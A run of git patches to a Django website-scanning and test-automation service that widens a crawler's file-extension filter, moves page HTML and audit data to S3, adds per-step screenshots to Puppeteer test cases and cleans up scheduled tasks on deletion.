Subject: [PATCH 117/752] added more extentions to bad_end_list url verifier

---
 app/api/utils/crawler.py | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index d0599ed2..558b7f6d 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -22,7 +22,16 @@ def url_is_valid(url):
             bad_str_list = ['cdn-cgi']
             bad_end_list = [
                 '.png', '.jpg', '.pdf', '.jpeg', 
-                '.json', '.docs'
+                '.json', '.doc', '.svg', '.ppt', 
+                '.pptx', '.ods', '.docx', '.mp3',
+                '.mp4', '.wma', '.ogg', '.mpa', 
+                '.wpl', '.zip', '.pkg', '.tar.gz', 
+                '.deb', '.z', '.rpm', '.7z', '.bin', 
+                '.dmg', '.iso', '.toast', '.vcd',
+                '.csv', 'xml', '.db', '.dbf', '.dat',
+                '.log', '.mdb', '.sql', '.tar', '.sav',
+                '.webp', '.tiff', '.tif', '.psd', '.ps',
+                '.ico', '.gif', '.bmp'
             ]
             if not (url.startswith(self.url) or url.startswith('/')):
                 return False

From fb3821f71f82f404ec9a9252463fd391d0bf3de8 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 8 Aug 2023 13:06:47 -0500
Subject: [PATCH 118/752] new method for getting audit data

---
 app/api/utils/reporter.py | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 10579473..62c00202 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -260,9 +260,11 @@ def get_audits(self, uri=str):
         Downloads teh JSON file from the passed uri
         and return the data as a python dict
         """
-        uri = 'static/sites/' + uri.lstrip(f'{settings.AWS_S3_URL_PATH}')
-        audits_raw = self.s3.get_object(Bucket=settings.AWS_STORAGE_BUCKET_NAME, Key=uri)['Body'].read().decode('utf-8')
-        audits = json.loads(audits_raw)
+        # uri = 'static/sites/' + uri.lstrip(f'{settings.AWS_S3_URL_PATH}')
+        # audits_raw = self.s3.get_object(Bucket=settings.AWS_STORAGE_BUCKET_NAME, Key=uri)['Body'].read().decode('utf-8')
+        res = requests.get(uri)
+        audits = res.json()
+        # audits = json.loads(audits_raw)
 
         return audits
 

From 0ae562fde790d5796fb0567c8e9e2c0344a4e22a Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 8 Aug 2023 13:07:01 -0500
Subject: [PATCH 119/752] reverted back to default

---
 k8s/prod/celery-deployment.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 61d95935..eb23e482 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -19,7 +19,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # landonr/scanerr-server:7837ab3 # 
+          image:  <IMAGE> # landonr/scanerr-server:f7ed070 #
           imagePullPolicy: Always
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info", "-c 3"]
           envFrom:

From 171437ac5a6c9173849494f8dfc6afa033cf6fe5 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 8 Aug 2023 17:40:28 -0500
Subject: [PATCH 120/752] fixed import bug

---
 app/api/utils/reporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 62c00202..5e129fd1 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -1,5 +1,4 @@
 from ..models import *
-import time, os, sys, json, boto3, textwrap
 import PIL.Image as Img
 from scanerr import settings
 from datetime import datetime, timedelta
@@ -7,6 +6,7 @@
 from reportlab.lib.units import inch
 from reportlab.lib.colors import HexColor
 from reportlab.pdfgen import canvas
+import time, os, sys, json, boto3, textwrap, requests
 
 
 

From 59011e50c9e17893609a3e643745937ce463f492 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 8 Aug 2023 19:36:19 -0500
Subject: [PATCH 121/752] organized

---
 .gitignore | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/.gitignore b/.gitignore
index cfb4932a..ed081be4 100644
--- a/.gitignore
+++ b/.gitignore
@@ -12,8 +12,9 @@ __pycache__/
 env/.env.local
 env/.env.dev
 env/.env.prod
+env/.env.stage
 env/.env.prod.db
 app/static*
 # app/api/migrations/*_*.py
 k8s/*/*-configs.yaml
-env/.env.stage
+

From e06c7fe8ce85c26d291a6a0e7e0fd0378be4c50e Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 8 Aug 2023 19:36:28 -0500
Subject: [PATCH 122/752] fixed error in get billing info

---
 app/api/v1/billing/views.py | 18 +++++++++++-------
 1 file changed, 11 insertions(+), 7 deletions(-)

diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 2b67a26f..b2b4a525 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -301,16 +301,20 @@ class GetBillingInfo(APIView):
     def post(self, request):  
         user = request.user
         if Account.objects.filter(user=user).exists():
-            card = Card.objects.get(user=user)
             account = Account.objects.get(user=user)
+            card = None
+            
+            if Card.objects.filter(user=user).exists():
+                _card = Card.objects.get(user=user)
+                card = {
+                    'brand': _card.brand,
+                    'exp_year': _card.exp_year,
+                    'exp_month': _card.exp_month,
+                    'last_four': _card.last_four,
+                }
 
             data = {
-                'card': {
-                    'brand': card.brand,
-                    'exp_year': card.exp_year,
-                    'exp_month': card.exp_month,
-                    'last_four': card.last_four,
-                },
+                'card': card,
                 'plan': {
                     'name': account.type,
                     'active': account.active,

From db002dc5cc7b907336a53c0a1e8a8547d4852236 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 9 Aug 2023 19:26:23 -0500
Subject: [PATCH 123/752] updated caser

---
 app/api/utils/caser.py | 23 ++++++++++++++++-------
 1 file changed, 16 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 54f2d814..e8597f41 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -52,7 +52,7 @@ def update_testcase(
     @sync_to_async
     def format_element(self, element):
         elememt = json.dumps(element).rstrip('"').lstrip('"')
-        return element
+        return str(element)
 
 
 
@@ -150,7 +150,16 @@ async def run(self):
         i = 0
         for step in self.steps:
             print(f'-- running step #{i+1} --')
-            # print(f'step contents: {step}')
+
+
+            # adding catch if nav is not first
+            if i == 0 and step['action']['type'] != 'navigate':
+                print(f'navigating to {self.site_url} before first step')
+                # using puppeteer, navigate to site root path & wait for page to load
+                await self.page.goto(f'{self.site_url}', self.page_options)
+                time.sleep(int(self.configs['min_wait_time']))
+
+
 
             if step['action']['type'] == 'navigate':
                 exception = None
@@ -196,9 +205,9 @@ async def run(self):
                     print(f'clicking element -> {step["action"]["element"]}')
                     # using puppeteer, find and click on the 'element' 
                     selector = await self.format_element(step["action"]["element"])
-                    await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
+                    await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))                 
                     # scrolling to element using plain JavaScript
-                    await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()')
+                    await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()')
                     element = await self.page.J(selector)
                     await element.click()
                     time.sleep(int(self.configs['min_wait_time']))
@@ -233,7 +242,7 @@ async def run(self):
                         selector = await self.format_element(step["action"]["element"])
                         await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
                         # scrolling to element using plain JavaScript 
-                        await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()')
+                        await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()')
                         element = await self.page.J(selector)
                         await element.click(clickCount=3)
                     await self.page.keyboard.type(step["action"]["value"])
@@ -299,8 +308,8 @@ async def run(self):
                     selector = await self.format_element(step["assertion"]["element"])
                     await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
                     # scrolling to element using plain JavaScript
-                    await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()')
-                    elementText = await self.page.evaluate(f'document.querySelector({selector}).textContent')
+                    await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()')
+                    elementText = await self.page.evaluate(f'document.querySelector("{selector}").textContent')
                     elementText = elementText.strip()
                     print(f'elementText => {elementText}')
                     print(f'value => {step["assertion"]["value"]}')

From 892b47cd31b02d5cdcb22775d5b4279e37b819e1 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 10 Aug 2023 19:51:20 -0500
Subject: [PATCH 124/752] added screenshots to all steps

---
 app/api/utils/caser.py | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index e8597f41..271dac9f 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -164,7 +164,6 @@ async def run(self):
             if step['action']['type'] == 'navigate':
                 exception = None
                 passed = True
-                image = None
                 await self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
@@ -175,6 +174,7 @@ async def run(self):
                     # using puppeteer, navigate to requested path & wait for page to load
                     await self.page.goto(f'{self.site_url}{step["action"]["path"]}', self.page_options)
                     time.sleep(int(self.configs['min_wait_time']))
+                    image = await self.save_screenshot(page=self.page)
 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
@@ -195,7 +195,6 @@ async def run(self):
             if step['action']['type'] == 'click':
                 exception = None
                 passed = True
-                image = None
                 await self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
@@ -211,6 +210,7 @@ async def run(self):
                     element = await self.page.J(selector)
                     await element.click()
                     time.sleep(int(self.configs['min_wait_time']))
+                    image = await self.save_screenshot(page=self.page)
                 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
@@ -229,7 +229,6 @@ async def run(self):
             if step['action']['type'] == 'change':
                 exception = None
                 passed = True
-                image = None
                 await self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
@@ -247,6 +246,7 @@ async def run(self):
                         await element.click(clickCount=3)
                     await self.page.keyboard.type(step["action"]["value"])
                     time.sleep(int(self.configs['min_wait_time']))
+                    image = await self.save_screenshot(page=self.page)
                 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
@@ -265,7 +265,6 @@ async def run(self):
             if step['action']['type'] == 'keyDown':
                 exception = None
                 passed = True
-                image = None
                 await self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
@@ -276,6 +275,7 @@ async def run(self):
                     # using puppeteer, press the selected key
                     await self.page.keyboard.press(step['action']['key'])
                     time.sleep(int(self.configs['min_wait_time']))
+                    image = await self.save_screenshot(page=self.page)
                 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
@@ -296,7 +296,6 @@ async def run(self):
             if step['assertion']['type'] == 'match':
                 exception = None
                 passed = True
-                image = None
                 await self.update_testcase(
                     index=i, type='assertion', 
                     start_time=datetime.now()
@@ -314,6 +313,7 @@ async def run(self):
                     print(f'elementText => {elementText}')
                     print(f'value => {step["assertion"]["value"]}')
                     assert elementText == step["assertion"]["value"]
+                    image = await self.save_screenshot(page=self.page)
 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
@@ -332,7 +332,6 @@ async def run(self):
             if step['assertion']['type'] == 'exists':
                 exception = None
                 passed = True
-                image = None
                 await self.update_testcase(
                     index=i, type='assertion', 
                     start_time=datetime.now()
@@ -344,6 +343,7 @@ async def run(self):
                     selector = await self.format_element(step["assertion"]["element"])
                     await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
                     await self.page.J(selector)
+                    image = await self.save_screenshot(page=self.page)
 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)

From 780ae72b9a813c4493d0866ea01e68f3a8291680 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 12 Aug 2023 15:53:50 -0500
Subject: [PATCH 125/752] migrated html data to s3 from DB

---
 .gitignore               |  2 +-
 app/api/models.py        | 26 ++++-------------------
 app/api/utils/scanner.py | 42 ++++++++++++++++++++++++++++++++-----
 app/api/utils/tester.py  | 45 +++++++++++++++++++++++++++++++++++-----
 4 files changed, 82 insertions(+), 33 deletions(-)

diff --git a/.gitignore b/.gitignore
index ed081be4..d462f57a 100644
--- a/.gitignore
+++ b/.gitignore
@@ -15,6 +15,6 @@ env/.env.prod
 env/.env.stage
 env/.env.prod.db
 app/static*
-# app/api/migrations/*_*.py
+app/api/migrations/*_*.py
 k8s/*/*-configs.yaml
 
diff --git a/app/api/models.py b/app/api/models.py
index 7ec9b1d2..6f9107ad 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -126,14 +126,7 @@ def get_lh_default():
             "crux": None, 
             "average": None
        },
-       "audits": {
-            "seo": [], 
-            "performance": [], 
-            "accessibility": [], 
-            "best-practices": [],
-            "pwa": [], 
-            "crux": []
-       },
+       "audits": None,
     }
     return lh_default
 
@@ -154,18 +147,7 @@ def get_yl_default():
             "fonts": None,
             "serverConfig": None,
        },
-       "audits": {
-            "pageWeight": [], 
-            "requests": [], 
-            "domComplexity": [], 
-            "javascriptComplexity": [],
-            "badJavascript": [],
-            "jQuery": [],
-            "cssComplexity": [],
-            "badCSS": [],
-            "fonts": [],
-            "serverConfig": [],
-       },
+       "audits": None,
     }
     return yl_default
 
@@ -349,7 +331,7 @@ class Scan(models.Model):
     type = models.JSONField(serialize=True, null=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_completed = models.DateTimeField(serialize=True, null=True, blank=True)
-    html = models.TextField(serialize=True, null=True, blank=True)
+    html = models.CharField(max_length=5000, serialize=True, null=True, blank=True)
     logs = models.JSONField(serialize=True, null=True, blank=True)
     images = models.JSONField(serialize=True, null=True, blank=True)
     lighthouse = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_default)
@@ -373,7 +355,7 @@ class Test(models.Model):
     post_scan = models.ForeignKey(Scan, on_delete=models.SET_NULL, serialize=True, null=True, blank=True, related_name='post_scan')
     score = models.FloatField(serialize=True, null=True, blank=True)
     component_scores = models.JSONField(serialize=True, null=True, blank=True, default=get_scores_default)
-    html_delta = models.JSONField(serialize=True, null=True, blank=True)
+    html_delta = models.CharField(max_length=5000, serialize=True, null=True, blank=True)
     logs_delta = models.JSONField(serialize=True, null=True, blank=True)
     lighthouse_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_delta_default)
     yellowlab_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_yl_delta_default)
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index b89976c2..37b512a5 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -10,7 +10,8 @@
 from .yellowlab import Yellowlab
 from .image import Image
 from datetime import datetime
-import time, os, sys, json, asyncio
+from scanerr import settings
+import time, os, sys, json, asyncio, uuid, boto3
 
 
 
@@ -394,6 +395,39 @@ def _html_and_logs(scan_id, test_id, automation_id):
         returns -> `Scan` <obj>
     """
     scan = Scan.objects.get(id=scan_id)
+    # setup boto3 configurations
+    s3 = boto3.client(
+        's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+
+    def save_html(html, scan):
+        # save html data as text file
+        file_id = uuid.uuid4()
+        with open(f'{file_id}.txt', 'w') as fp:
+            fp.write(html)
+        
+        # upload to s3 and return url
+        html_file = os.path.join(settings.BASE_DIR, f'{file_id}.txt')
+        remote_path = f'static/sites/{scan.site.id}/{scan.page.id}/{scan.id}/{file_id}.txt'
+        root_path = settings.AWS_S3_URL_PATH
+        html_url = f'{root_path}/{remote_path}'
+    
+        # upload to s3
+        with open(html_file, 'rb') as data:
+            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "text/plain"}
+            )
+        
+        # save to scan obj
+        scan.html = html_url
+        scan.save()
+
+        # remove local copy
+        os.remove(html_file)
+
     try:
         if scan.configs['driver'] == 'selenium':
 
@@ -405,8 +439,7 @@ def _html_and_logs(scan_id, test_id, automation_id):
             if 'html' in scan.type or 'full' in scan.type:
                 html = driver.page_source
                 scan = Scan.objects.get(id=scan_id)
-                scan.html = html
-                scan.save()
+                save_html(html, scan)
             if 'logs' in scan.type or 'full' in scan.type:
                 logs = driver.get_log('browser')
                 scan = Scan.objects.get(id=scan_id)
@@ -425,8 +458,7 @@ def _html_and_logs(scan_id, test_id, automation_id):
             if 'html' in scan.type or 'full' in scan.type:
                 html = driver_data['html']
                 scan = Scan.objects.get(id=scan_id)
-                scan.html = html
-                scan.save()
+                save_html(html, scan)
             if 'logs' in scan.type or 'full' in scan.type:
                 logs = driver_data['logs']
                 scan = Scan.objects.get(id=scan_id)
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index dd4fbdb8..2268a17c 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -1,8 +1,10 @@
 from ..models import *
-import time, os, sys, json, random, string, re
-from difflib import SequenceMatcher, HtmlDiff, Differ
 from datetime import datetime
 from .image import Image
+from scanerr import settings
+from difflib import SequenceMatcher, HtmlDiff, Differ
+import time, os, sys, json, random, string, re, requests, uuid, boto3
+
 
 
 
@@ -17,10 +19,20 @@ def __init__(self, test):
         self.delta_html_post = []
         self.delta_html_pre = []
 
+        # setup boto3 configurations
+        self.s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
 
     def clean_html(self):
-        pre_scan_html = self.test.pre_scan.html.splitlines()
-        post_scan_html = self.test.post_scan.html.splitlines()
+        pre_scan_html_raw = requests.get(self.test.pre_scan.html).text
+        post_scan_html_raw = requests.get(self.test.post_scan.html).text
+        pre_scan_html = pre_scan_html_raw.splitlines()
+        post_scan_html = post_scan_html_raw.splitlines()
 
         white_list = ['csrfmiddlewaretoken', '<!DOCTYPE html>',]
         tags = [
@@ -467,6 +479,7 @@ def run_test(self, index=None):
 
         # default data
         html_delta_context = None
+        html_delta_uri = None
         logs_delta_context = None
         lighthouse_data = None
         yellowlab_data = None
@@ -496,6 +509,28 @@ def run_test(self, index=None):
                     "pre_micro_delta": delta_html_data['pre_micro_delta'],
                     "post_micro_delta": delta_html_data['post_micro_delta'],
                 }
+
+                # save html_delta s3 json file
+                file_id = uuid.uuid4()
+                with open(f'{file_id}.json', 'w') as fp:
+                    json.dump(html_delta_context, fp)
+                
+                # upload to s3 and return url
+                html_delta_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
+                remote_path = f'static/sites/{self.test.site.id}/{self.test.page.id}/{self.test.id}/{file_id}.json'
+                root_path = settings.AWS_S3_URL_PATH
+                html_delta_uri = f"{root_path}/{remote_path}"
+            
+                # upload to s3
+                with open(html_delta_file, 'rb') as data:
+                    self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+                    )
+                # remove local copy
+                os.remove(html_delta_file)
+
+                print(f'html_delta => {html_delta_uri}')
+
             except Exception as e:
                 print(e)
         
@@ -613,7 +648,7 @@ def run_test(self, index=None):
 
 
         self.test.time_completed = datetime.now()
-        self.test.html_delta = html_delta_context
+        self.test.html_delta = html_delta_uri
         self.test.logs_delta = logs_delta_context
         self.test.lighthouse_delta = lighthouse_data
         self.test.yellowlab_delta = yellowlab_data

From 9039cf61e38dd4907815d4acdb9a1c769c29701b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 12 Aug 2023 15:59:09 -0500
Subject: [PATCH 126/752] cleaning up leftovers

---
 docker-compose.stage.yml | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index 5bd3db6a..8d42a766 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -45,6 +45,3 @@ services:
     depends_on:
       - redis
       - app
-
-volumes:
-  pgdata:

From 0ff0a06b710b3d8cf62887f95cb9bf717cc3d905 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 13 Aug 2023 12:04:22 -0500
Subject: [PATCH 127/752] fixed error message

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 73cabcac..9214e154 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1785,7 +1785,7 @@ def create_or_update_schedule(request):
 
         else:
             if PeriodicTask.objects.filter(name=task_name).exists():
-                data = {'reason': 'Task has already be created',}
+                data = {'reason': 'Schedule already exists',}
                 record_api_call(request, data, '401')
                 return Response(data, status=status.HTTP_401_UNAUTHORIZED)
                 

From cc18d66779a1f32ae79412eb1ca3dc5c149abf9f Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 13 Aug 2023 13:00:24 -0500
Subject: [PATCH 128/752] fixing old scan issues

---
 app/api/utils/image.py   |  4 +-
 app/api/utils/scanner.py | 91 +++++++++++++++++++++++-----------------
 2 files changed, 55 insertions(+), 40 deletions(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index b00ceedf..3e63ba42 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -226,7 +226,7 @@ def scan(self, scan, configs, driver=None,):
 
     def scan_full(self, scan, configs, driver=None,):
         """
-        Grabs multiple screenshots of the website and uploads 
+        Grabs full length screenshots of the website and uploads 
         them to s3.
         """
 
@@ -724,7 +724,7 @@ def get_active_global_masks():
 
     async def scan_p_full(self, scan, configs):
         """
-        Using Puppeteer, grabs multiple screenshots of the website and uploads 
+        Using Puppeteer, grabs full length screenshots of the website and uploads 
         them to s3.
         """
 
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 37b512a5..1f7bb657 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -84,7 +84,7 @@ def first_scan(self):
             if 'logs' in self.scan.type or 'full' in self.scan.type:
                 logs = self.driver.get_log('browser')
             if 'vrt' in self.scan.type or 'full' in self.scan.type:
-                images = Image().scan(scan=self.scan, driver=self.driver, configs=self.configs)
+                images = Image().scan_full(scan=self.scan, driver=self.driver, configs=self.configs)
             quit_driver(self.driver)
         else:
             driver_data = asyncio.run(
@@ -98,7 +98,7 @@ def first_scan(self):
             if 'logs' in self.scan.type or 'full' in self.scan.type:
                 logs = driver_data['logs']
             if 'vrt' in self.scan.type or 'full' in self.scan.type:
-                images = asyncio.run(Image().scan_p(scan=self.scan, configs=self.configs))
+                images = asyncio.run(Image().scan_p_full(scan=self.scan, configs=self.configs))
         
         if 'lighthouse' in self.scan.type or 'full' in self.scan.type:
             lh_data = Lighthouse(scan=self.scan, configs=self.configs).get_data() 
@@ -106,7 +106,7 @@ def first_scan(self):
             yl_data = Yellowlab(scan=self.scan, configs=self.configs).get_data()
 
         if html is not None:
-            self.scan.html = html
+            save_html(html, self.scan)
         if logs is not None:
             self.scan.logs = logs
         if images is not None:
@@ -162,7 +162,7 @@ def second_scan(self):
             if 'logs' in second_scan.type or 'full' in second_scan.type:
                 logs = self.driver.get_log('browser')
             if 'vrt' in second_scan.type or 'full' in second_scan.type:
-                images = Image().scan(scan=second_scan, driver=self.driver, configs=self.configs)
+                images = Image().scan_full(scan=second_scan, driver=self.driver, configs=self.configs)
             quit_driver(self.driver)
         else:
             driver_data = asyncio.run(
@@ -176,7 +176,7 @@ def second_scan(self):
             if 'logs' in second_scan.type or 'full' in second_scan.type:
                 logs = driver_data['logs']
             if 'vrt' in second_scan.type or 'full' in second_scan.type:
-                images = asyncio.run(Image().scan_p(scan=second_scan, configs=self.configs))
+                images = asyncio.run(Image().scan_p_full(scan=second_scan, configs=self.configs))
         
         if 'lighthouse' in second_scan.type or 'full' in second_scan.type:
             lh_data = Lighthouse(scan=second_scan, configs=self.configs).get_data() 
@@ -184,7 +184,7 @@ def second_scan(self):
             yl_data = Yellowlab(scan=second_scan, configs=self.configs).get_data()
 
         if html is not None:
-            second_scan.html = html
+            save_html(html, second_scan)
         if logs is not None:
             second_scan.logs = logs
         if images is not None:
@@ -333,6 +333,53 @@ def update_page_info(scan):
 
 
 
+def save_html(html, scan):
+    """
+        Saves html page source as a '.txt' file and uploads 
+        to s3. Then saves the remote uri to the `scan` obj.
+
+        returns -> `Scan` <obj>
+    """
+
+    # setup boto3 configuration
+    s3 = boto3.client(
+        's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+    
+    # save html data as text file
+    file_id = uuid.uuid4()
+    with open(f'{file_id}.txt', 'w') as fp:
+        fp.write(html)
+    
+    # upload to s3 and return url
+    html_file = os.path.join(settings.BASE_DIR, f'{file_id}.txt')
+    remote_path = f'static/sites/{scan.site.id}/{scan.page.id}/{scan.id}/{file_id}.txt'
+    root_path = settings.AWS_S3_URL_PATH
+    html_url = f'{root_path}/{remote_path}'
+
+    # upload to s3
+    with open(html_file, 'rb') as data:
+        s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+            remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "text/plain"}
+        )
+    
+    # save to scan obj
+    scan.html = html_url
+    scan.save()
+
+    # remove local copy
+    os.remove(html_file)
+
+    return scan
+
+
+
+
+
+
 def check_scan_completion(scan, test_id, automation_id):
     """
         Method that checks if the scan has finished all 
@@ -395,38 +442,6 @@ def _html_and_logs(scan_id, test_id, automation_id):
         returns -> `Scan` <obj>
     """
     scan = Scan.objects.get(id=scan_id)
-    # setup boto3 configurations
-    s3 = boto3.client(
-        's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
-
-    def save_html(html, scan):
-        # save html data as text file
-        file_id = uuid.uuid4()
-        with open(f'{file_id}.txt', 'w') as fp:
-            fp.write(html)
-        
-        # upload to s3 and return url
-        html_file = os.path.join(settings.BASE_DIR, f'{file_id}.txt')
-        remote_path = f'static/sites/{scan.site.id}/{scan.page.id}/{scan.id}/{file_id}.txt'
-        root_path = settings.AWS_S3_URL_PATH
-        html_url = f'{root_path}/{remote_path}'
-    
-        # upload to s3
-        with open(html_file, 'rb') as data:
-            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "text/plain"}
-            )
-        
-        # save to scan obj
-        scan.html = html_url
-        scan.save()
-
-        # remove local copy
-        os.remove(html_file)
 
     try:
         if scan.configs['driver'] == 'selenium':

From d1932d0ac1a2e582b0d0f6a5e31267d17e2fbdbb Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 13 Aug 2023 14:47:53 -0500
Subject: [PATCH 129/752] added task deletion for page & site removal

---
 app/api/v1/ops/services.py | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 9214e154..a500c51d 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -290,6 +290,9 @@ def delete_site(request, id):
     # remove s3 objects
     delete_site_s3_bg.delay(site_id=id)
     
+    # remove any associated tasks 
+    delete_tasks(site=site)
+    
     # remove site
     site.delete()
 
@@ -320,6 +323,7 @@ def delete_many_sites(request):
                 site = Site.objects.get(id=id)
                 if site.account == account:
                     delete_site_s3_bg.delay(site_id=id)
+                    delete_tasks(site=site)
                     site.delete()
                 num_succeeded += 1
                 succeeded.append(str(id))
@@ -637,6 +641,9 @@ def delete_page(request, id):
 
     # remove s3 objects
     delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
+
+    # remove any schedules and associated tasks
+    delete_tasks(page=page)
     
     # remove page
     page.delete()
@@ -668,6 +675,7 @@ def delete_many_pages(request):
                 page = Page.objects.get(id=id)
                 if page.account == account:
                     delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
+                    delete_tasks(page=page)
                     page.delete()
                 num_succeeded += 1
                 succeeded.append(str(id))
@@ -1941,6 +1949,19 @@ def delete_schedule(request, id):
 
 
 
+def delete_tasks(page=None, site=None):
+    # get any schedules
+    if page is not None:
+        schedules = Schedule.objects.filter(page=page)
+    if site is not None:
+        schedules = Schedule.objects.filter(site=site)
+    # remove any associated tasks
+    for schedule in schedules:
+        task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
+        task.delete()
+    return
+
+
 
 
 def create_or_update_automation(request):

